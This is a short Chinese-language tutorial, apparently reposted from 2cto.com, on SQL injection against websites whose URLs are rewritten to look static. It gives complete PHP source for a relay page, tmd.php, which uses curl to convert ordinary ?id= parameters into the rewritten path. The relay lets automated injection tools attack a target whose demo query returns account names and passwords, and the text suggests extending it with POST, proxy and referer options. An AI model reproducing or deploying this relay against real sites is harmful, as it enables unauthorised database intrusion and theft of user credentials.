伪静态网站注入方法,莱鸟扫盲来了哦,通常情况下,动态脚本的网站的url类似下面这样:
http://www.2cto.com /news.php?id=111
做了伪静态之后就成这样了
http://www.2cto.com /news.php/id/111.html
以斜杠“/”代替了“=”并在最后加上.html,这样一来,就无法直接用工具来注入了,
现在我们就来讨论下如何用工具来注入,大家都知道cookies注入中转吧,其实原理都差不多,
我们自己写一个动态网页脚本,构造自己的url规则,通过这个页面中转来访问目标页!
即我们把伪静态url规则变回原来的?id=123这样的形式,形成一个普通的可方便注入的url。
好吧,试验下!我在本地用thikphp搭建了一个简单的注入点,
因为thinkphp自带了简单的伪静态,比较方便演示。
这个注入点的sql如下:接收get过来的id
SELECT account AS username,password FROM think_user WHERE id=1
页面url如下:
http://www.2cto.com /index.php/index/index/id/111.html
变幻111的值来注入!
我比较熟悉php,就用php来写一个注入中转页面吧
tmd.php 中转页面源码:
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = “http://www.2cto.com /test/id-$id.html“;
$url = “http://www.2cto.com /inj/index.php/index/index/id/$id.html“;
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, “$url”);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
将这个文件保存成tmd.php即可,这个文件url如下:
http://www.2cto.com /inj/tmd.php
把产生注入的$id根据目标页的伪静态规则放到指定的位置就可以了。如上。
原理就是通过curl来取得目标页的内容(与直接访问目标页效果一样),
只需要修改$url的内容就可以适应各种伪静态规则了。
脚本比较简陋,有需要的童鞋,可根据情况加入post方式,代理,referer等功能。
我们现在访问 http://www.2cto.com /inj/tmd.php?id=111,
即相当于访问 http://www.2cto.com /inj/index.php/index/index/id/111.html ,
现在我们就可以把 http://www.2cto.com /inj/tmd.php?id=111 这个连接放到工具里面注入了。